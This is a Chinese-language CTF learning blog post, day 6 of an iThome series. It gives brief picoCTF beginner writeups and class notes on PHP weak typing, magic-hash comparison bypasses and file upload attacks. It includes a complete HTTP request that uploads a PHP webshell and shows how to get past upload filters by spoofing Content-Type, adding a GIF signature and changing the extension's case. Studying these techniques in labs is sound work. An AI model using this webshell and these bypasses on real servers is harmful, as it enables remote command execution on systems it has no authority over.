IThome 2024 鐵人賽 一直刷 CTF - Day6
前言
本日進度:
Writeup
第一題:Static ain’t always noise
利用 ltdis.sh
分解 static
檔案,就可以從 static.ltdis.strings.txt
中找到 Flag 了
第二題:Nice netcat…
nc 過去之後會噴很多數字出來,感覺像是 ASCII 碼,所以就把他轉成文字就是 Flag 了,我寫了個簡單的程式1
2
3
4
5
6
7
8
9
10text = ""
while True:
try:
num = int(input())
text += chr(num)
except:
break
print(text)
第三題:Obedient Cat
就載下來印出來就是 Flag 了
第四題:2Warm
把 42 轉成 2 進位,然後用 picoCTF {} 包起來就是 Flag 了
第五題:First Grep
下載檔案後,用 grep
就能找到 Flag 了
第六題:Bases
用 base64
解碼就能得到 Flag 了
上課紀錄
Language Trick - php
簡單語法
Weak type
0e
開頭的東西會自動轉型成科學記號 還有其他若型別轉換的範例,如下的真直表Parameter Array
Lab - phpisnice 雖然他 Lab 還是關掉了,但他有給 code ,所以我可以自己玩玩看!去查剛剛那些 MD5 會有問題的字串 然後找到了這個
String MD5 0e215962017 0e291242476940776845150308577824 指定 A=0e215962017 這題應該就能拿到 Flag 了
Lab - phpisbest 因為他要先過
strcmp($A, $B) == 0
所以先把兩個用成不一樣的陣列,這樣會null == 0 -> true
就過了,然後 MD5 只要兩個都是陣列就會null == null -> true
,就可以拿到 Flag 了File vs Route
Webshell (shell on web) 惡意的 Webshell
1
2
3
4
5
6
7
8
9
10
11POST /upload.php HTTP/1.1\r\n
Content-Length: 80172\r\n
Content-Type: multipart/form-data; boundary=----meow\r\n
\r\n
------owo\r\n
Content-Disposition: form-data; name="upload"; filename="ouo.txt"\r\n
Content-Type: text/plain\r\n
\r\n
(File Content)
\r\n
------owo--\r\n改成
1
2
3
4
5
6
7
8
9
10
11POST /upload.php HTTP/1.1\r\n
Content-Length: 80172\r\n
Content-Type: multipart/form-data; boundary=----meow\r\n
\r\n
------owo\r\n
Content-Disposition: form-data; name="upload"; filename="webshell.php"\r\n
Content-Type: text/php\r\n
\r\n
<?php system($_GET['cmd']);?>
\r\n
------owo--\r\n怎麼抵擋呢?
- 錯誤示範 - 用前端擋,可以輕易繞過
- 檢查 File Content Type 但是如果把 Request 的 Content-Type 改掉 (例如 image/png) 就可以 bypass 了
- 檢查 File signature
- magic number: 透過檢查檔案的開頭幾個 byte 來判斷檔案類型 但這東西也很容易被偽造,只要在前面加上簽名就可以了 在前面加上 gif87a 後端就會以為上傳的是 gif
- 副檔名
- whitelist
- blacklist 但需要全部都擋掉,不然把副檔名改成
phP
之類的就可能可以繞過
Lab - uploader (lab 關掉了) 照抄剛剛可以觸發 Webshell php,然後就能從根目錄取得 Flag 了
Lab - uploader-waf (lab 關掉了) 他有改 content-type 和副檔名,所以要把前面的
Content-Type: text/php
改成Content-Type: image/png
,然後把副檔名改成phP
就可以繞過了,接下來就跟上一題一樣在根目錄取得 Flag